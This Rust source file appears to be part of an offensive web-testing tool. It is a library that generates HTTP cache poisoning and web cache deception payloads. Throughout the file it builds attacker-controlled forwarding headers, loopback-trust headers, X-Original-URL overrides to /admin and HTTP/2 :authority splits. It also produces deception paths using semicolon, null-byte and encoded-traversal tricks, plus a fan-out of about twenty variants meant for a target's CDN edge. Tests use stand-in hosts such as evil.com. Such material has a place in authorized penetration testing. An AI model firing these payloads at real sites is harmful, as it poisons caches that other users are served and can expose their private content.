Skip to main content

wafrift_encoding/encoding/
cache_poison.rs

1//! HTTP cache poisoning payload library.
2//!
3//! Cache poisoning is the class of attack where the attacker
4//! manipulates a cache (CDN edge, proxy, origin reverse-cache) into
5//! storing a response for a benign request with attacker-controlled
6//! content. Future victims requesting the same cache key receive the
7//! poisoned response.
8//!
9//! Three layers:
10//!
11//! 1. **Unkeyed input poisoning**. The cache key consists of `Host`
12//!    + path + some headers. Inputs the cache DOESN'T key on
13//!    (`X-Forwarded-Host`, `X-Forwarded-Scheme`, `X-Original-URL`,
14//!    `Forwarded`, etc.) reach the origin and influence the response
15//!    body, but the cache stores under the BENIGN key.
16//! 2. **Cache key normalization**. The cache normalizes path/query
17//!    differently from the origin. `/admin/` (cache) and `/admin//`
18//!    (origin) hit different origin endpoints but share one cache
19//!    entry.
20//! 3. **Web cache deception** (Omer Gil, BH 2017). `/profile/avatar.css`
21//!    is served by the dynamic `profile` endpoint but cached under
22//!    the `.css` extension rule → attacker fetches a victim's
23//!    private content from the public cache.
24//!
25//! This module produces the WIRE PAYLOADS for each poisoning shape.
26//! The operator wraps them in real requests against the target's
27//! CDN edge and verifies via a second-fetch from a clean origin.
28//!
29//! Coverage:
30//!
31//! - X-Forwarded-Host / X-Forwarded-Scheme / X-Forwarded-Port
32//! - X-Original-URL / X-Rewrite-URL (IIS / Symfony / Akamai)
33//! - X-Forwarded-For with internal IP (origin trust)
34//! - X-Host (Akamai)
35//! - Forwarded (RFC 7239)
36//! - X-Backend-Host
37//! - X-Real-IP
38//! - X-HTTP-Method-Override (cache-key on body, action on method)
39//! - Web cache deception (5 extensions × N path-traversal forms)
40//! - Status code poisoning (404 cached as 200)
41//! - Vary header confusion (cache stores N variants based on a header
42//!   the origin doesn't actually vary on)
43//! - HTTP/2 header injection that translates to H1 cache-key
44
45/// Build the `X-Forwarded-Host` poisoning header. The attacker host
46/// is what the origin sees; the cache stores under the legitimate
47/// Host so victims get the poisoned response.
48#[must_use]
49pub fn x_forwarded_host(attacker_host: &str) -> String {
50    format!("X-Forwarded-Host: {attacker_host}")
51}
52
53/// Build `X-Forwarded-Scheme` to flip the origin's view from HTTPS
54/// to HTTP (or vice versa). Often the origin redirects based on
55/// scheme — attacker-influenced redirects get cached.
56#[must_use]
57pub fn x_forwarded_scheme(scheme: &str) -> String {
58    format!("X-Forwarded-Scheme: {scheme}")
59}
60
61/// Build `X-Forwarded-Port`. Origin may reflect the port in
62/// generated URLs (canonical link tags, redirects). Cache stores
63/// under the standard port.
64#[must_use]
65pub fn x_forwarded_port(port: u16) -> String {
66    format!("X-Forwarded-Port: {port}")
67}
68
69/// Build `X-Original-URL` / `X-Rewrite-URL`. IIS, Symfony, Akamai
70/// honor these as request-target overrides while the cache keys
71/// under the actual wire path.
72#[must_use]
73pub fn x_original_url(target_url: &str) -> String {
74    format!("X-Original-URL: {target_url}")
75}
76
77/// Akamai's flavor: `X-Host`.
78#[must_use]
79pub fn x_host(attacker_host: &str) -> String {
80    format!("X-Host: {attacker_host}")
81}
82
83/// RFC 7239 `Forwarded` header. Some CDNs trust this even when
84/// they don't trust the X-Forwarded-* family.
85#[must_use]
86pub fn forwarded_rfc7239(attacker_host: &str, scheme: &str) -> String {
87    format!("Forwarded: for=1.1.1.1;host={attacker_host};proto={scheme}")
88}
89
90/// X-Backend-Host: an origin trust trick for setups where the LB
91/// has different rules for "backend" host headers.
92#[must_use]
93pub fn x_backend_host(attacker_host: &str) -> String {
94    format!("X-Backend-Host: {attacker_host}")
95}
96
97/// X-Real-IP / X-Forwarded-For with private/loopback IP — some
98/// applications grant elevated trust to loopback. Cache key isn't
99/// affected.
100#[must_use]
101pub fn loopback_trust_header() -> String {
102    "X-Real-IP: 127.0.0.1\r\nX-Forwarded-For: 127.0.0.1".to_string()
103}
104
105/// Web cache deception path: append a cacheable extension to a
106/// dynamic endpoint. `/profile` is dynamic, `/profile/avatar.css`
107/// is the deception payload — cache fetches and stores under .css,
108/// origin serves the profile dynamically.
109///
110/// Returns variants across the 5 most-cached extensions.
111#[must_use]
112pub fn web_cache_deception_paths(dynamic_path: &str) -> Vec<String> {
113    let p = dynamic_path.trim_end_matches('/');
114    vec![
115        format!("{p}/cache_buster.css"),
116        format!("{p}/cache_buster.js"),
117        format!("{p}/cache_buster.png"),
118        format!("{p}/cache_buster.jpg"),
119        format!("{p}/cache_buster.svg"),
120        format!("{p}/.css"),
121        format!("{p}/..%2fcache_buster.css"),
122        format!("{p};.css"),
123        format!("{p}%00.css"),
124        format!("{p}%3B.css"),
125        format!("{p}#.css"),
126    ]
127}
128
129/// Cache key normalization disagreement payloads. Each is a URL
130/// shape where the cache and origin disagree on whether two
131/// requests share a key.
132#[must_use]
133pub fn cache_key_normalization_variants(base_path: &str) -> Vec<String> {
134    let p = base_path.trim_end_matches('/');
135    vec![
136        // Trailing slash flip.
137        format!("{p}/"),
138        format!("{p}"),
139        // Empty segment.
140        format!("{p}//"),
141        // Encoded slash.
142        format!("{p}%2f"),
143        // Query argument order.
144        format!("{p}?a=1&b=2"),
145        format!("{p}?b=2&a=1"),
146        // Case sensitivity.
147        format!("{p}?A=1"),
148        // Fragment (most caches strip; some don't).
149        format!("{p}#x"),
150        // Trailing dot.
151        format!("{p}/."),
152        // Mixed-case path.
153        format!("{}", p.to_uppercase()),
154    ]
155}
156
157/// Vary header confusion. Origin sets `Vary: User-Agent` but
158/// returns the same body regardless of UA. Cache stores N copies,
159/// one per attacker UA — each can carry distinct poison.
160#[must_use]
161pub fn vary_header_confusion(vary_on: &str) -> String {
162    format!("Vary: {vary_on}")
163}
164
165/// Status code poisoning. Cache stores response with 200-status
166/// header but body containing 404 content (so victim sees "not
167/// found" presented as successful). Operator triggers via attacker
168/// header that flips the origin's branch.
169#[must_use]
170pub fn status_code_poison_header() -> &'static str {
171    // The attacker request includes a header the origin treats as
172    // "force 404" but the cache strips before storing. Result:
173    // body is 404 but stored under 200.
174    "X-Force-404: 1"
175}
176
177/// HTTP/2 pseudo-header injection. The `:authority` H2 pseudo can
178/// be set independently from `Host`. Some H2-to-H1 translators key
179/// the cache on `Host` but route the request via `:authority`.
180#[must_use]
181pub fn h2_authority_split(attacker_authority: &str) -> String {
182    format!(":authority: {attacker_authority}")
183}
184
185/// One-shot fan-out — every cache poisoning primitive for one
186/// (attacker_host, target_path). Returns ~20 variants.
187#[must_use]
188pub fn all_cache_poison_payloads(
189    attacker_host: &str,
190    target_path: &str,
191) -> Vec<(&'static str, String)> {
192    let mut out = vec![
193        ("x-forwarded-host", x_forwarded_host(attacker_host)),
194        ("x-forwarded-scheme-http", x_forwarded_scheme("http")),
195        ("x-forwarded-port-8080", x_forwarded_port(8080)),
196        ("x-original-url", x_original_url("/admin")),
197        ("x-host-akamai", x_host(attacker_host)),
198        (
199            "forwarded-rfc7239",
200            forwarded_rfc7239(attacker_host, "https"),
201        ),
202        ("x-backend-host", x_backend_host(attacker_host)),
203        ("loopback-trust", loopback_trust_header()),
204        ("vary-cookie", vary_header_confusion("Cookie")),
205        ("vary-ua", vary_header_confusion("User-Agent")),
206        ("status-404-as-200", status_code_poison_header().to_string()),
207        ("h2-authority-split", h2_authority_split(attacker_host)),
208    ];
209    // Add cache-deception path variants — they're URL forms not
210    // headers, but join into the variant set for completeness.
211    for (i, p) in web_cache_deception_paths(target_path)
212        .into_iter()
213        .enumerate()
214    {
215        out.push((
216            match i {
217                0 => "deception-css",
218                1 => "deception-js",
219                2 => "deception-png",
220                3 => "deception-jpg",
221                4 => "deception-svg",
222                5 => "deception-dot-css",
223                6 => "deception-traversal",
224                7 => "deception-semicolon",
225                8 => "deception-null-byte",
226                9 => "deception-encoded-semi",
227                _ => "deception-fragment",
228            },
229            p,
230        ));
231    }
232    out
233}
234
235#[cfg(test)]
236mod tests {
237    use super::*;
238
239    #[test]
240    fn x_forwarded_host_basic() {
241        assert_eq!(
242            x_forwarded_host("attacker.example"),
243            "X-Forwarded-Host: attacker.example"
244        );
245    }
246
247    #[test]
248    fn x_forwarded_scheme_https() {
249        assert_eq!(x_forwarded_scheme("https"), "X-Forwarded-Scheme: https");
250    }
251
252    #[test]
253    fn x_forwarded_port_high() {
254        assert_eq!(x_forwarded_port(8443), "X-Forwarded-Port: 8443");
255    }
256
257    #[test]
258    fn x_forwarded_port_max() {
259        assert_eq!(x_forwarded_port(u16::MAX), "X-Forwarded-Port: 65535");
260    }
261
262    #[test]
263    fn x_original_url_basic() {
264        assert_eq!(x_original_url("/admin"), "X-Original-URL: /admin");
265    }
266
267    #[test]
268    fn x_host_akamai() {
269        assert_eq!(x_host("evil.com"), "X-Host: evil.com");
270    }
271
272    #[test]
273    fn forwarded_rfc7239_format() {
274        let h = forwarded_rfc7239("evil.com", "https");
275        assert!(h.starts_with("Forwarded: "));
276        assert!(h.contains("for=1.1.1.1"));
277        assert!(h.contains("host=evil.com"));
278        assert!(h.contains("proto=https"));
279    }
280
281    #[test]
282    fn x_backend_host_basic() {
283        assert_eq!(x_backend_host("evil"), "X-Backend-Host: evil");
284    }
285
286    #[test]
287    fn loopback_trust_has_both_headers() {
288        let h = loopback_trust_header();
289        assert!(h.contains("X-Real-IP: 127.0.0.1"));
290        assert!(h.contains("X-Forwarded-For: 127.0.0.1"));
291    }
292
293    #[test]
294    fn web_cache_deception_paths_count() {
295        let p = web_cache_deception_paths("/profile");
296        assert!(p.len() >= 10);
297    }
298
299    #[test]
300    fn web_cache_deception_includes_css_and_js() {
301        let p = web_cache_deception_paths("/x");
302        assert!(p.iter().any(|s| s.ends_with(".css")));
303        assert!(p.iter().any(|s| s.ends_with(".js")));
304        assert!(p.iter().any(|s| s.ends_with(".png")));
305    }
306
307    #[test]
308    fn web_cache_deception_strips_trailing_slash() {
309        let with_slash = web_cache_deception_paths("/x/");
310        let without_slash = web_cache_deception_paths("/x");
311        assert_eq!(with_slash, without_slash);
312    }
313
314    #[test]
315    fn web_cache_deception_includes_semicolon_truncation() {
316        let p = web_cache_deception_paths("/x");
317        assert!(p.iter().any(|s| s.contains(";.css")));
318    }
319
320    #[test]
321    fn web_cache_deception_includes_null_byte_truncation() {
322        let p = web_cache_deception_paths("/x");
323        assert!(p.iter().any(|s| s.contains("%00.css")));
324    }
325
326    #[test]
327    fn cache_key_normalization_variants_count() {
328        let v = cache_key_normalization_variants("/admin");
329        assert!(v.len() >= 8);
330    }
331
332    #[test]
333    fn cache_key_normalization_includes_case_flip() {
334        let v = cache_key_normalization_variants("/admin");
335        assert!(v.iter().any(|s| s.contains("ADMIN")));
336    }
337
338    #[test]
339    fn cache_key_normalization_includes_query_swap() {
340        let v = cache_key_normalization_variants("/x");
341        assert!(v.iter().any(|s| s.contains("a=1&b=2")));
342        assert!(v.iter().any(|s| s.contains("b=2&a=1")));
343    }
344
345    #[test]
346    fn vary_header_basic() {
347        let h = vary_header_confusion("Cookie");
348        assert_eq!(h, "Vary: Cookie");
349    }
350
351    #[test]
352    fn status_code_poison_constant() {
353        assert_eq!(status_code_poison_header(), "X-Force-404: 1");
354    }
355
356    #[test]
357    fn h2_authority_split_basic() {
358        let h = h2_authority_split("evil.com");
359        assert_eq!(h, ":authority: evil.com");
360    }
361
362    #[test]
363    fn all_cache_poison_minimum_count() {
364        let v = all_cache_poison_payloads("evil.com", "/profile");
365        assert!(v.len() >= 20);
366    }
367
368    #[test]
369    fn all_cache_poison_unique_names() {
370        let v = all_cache_poison_payloads("e", "/p");
371        let names: std::collections::HashSet<&&str> = v.iter().map(|(n, _)| n).collect();
372        assert_eq!(names.len(), v.len());
373    }
374
375    #[test]
376    fn all_cache_poison_carries_marker() {
377        let v = all_cache_poison_payloads("UNIQUE_HOST", "/UNIQUE_PATH");
378        let any_carries_host = v.iter().any(|(_, p)| p.contains("UNIQUE_HOST"));
379        let any_carries_path = v.iter().any(|(_, p)| p.contains("UNIQUE_PATH"));
380        assert!(any_carries_host);
381        assert!(any_carries_path);
382    }
383
384    #[test]
385    fn deterministic_across_calls() {
386        let a = all_cache_poison_payloads("e", "/p");
387        let b = all_cache_poison_payloads("e", "/p");
388        assert_eq!(a, b);
389    }
390
391    #[test]
392    fn handles_unicode_host() {
393        let h = x_forwarded_host("é.攻击.com");
394        assert!(h.contains("é.攻击.com"));
395    }
396
397    #[test]
398    fn adversarial_long_path_no_panic() {
399        let big = "/x".repeat(10_000);
400        let _ = web_cache_deception_paths(&big);
401        let _ = cache_key_normalization_variants(&big);
402        let _ = all_cache_poison_payloads("e", &big);
403    }
404
405    #[test]
406    fn forwarded_rfc7239_no_crlf() {
407        let h = forwarded_rfc7239("e", "https");
408        assert!(!h.contains("\r"));
409        assert!(!h.contains("\n"));
410    }
411
412    #[test]
413    fn x_forwarded_port_zero_renders() {
414        // Some cache key bugs fire on port=0. We render the literal,
415        // server is responsible for rejecting.
416        let h = x_forwarded_port(0);
417        assert!(h.ends_with(": 0"));
418    }
419}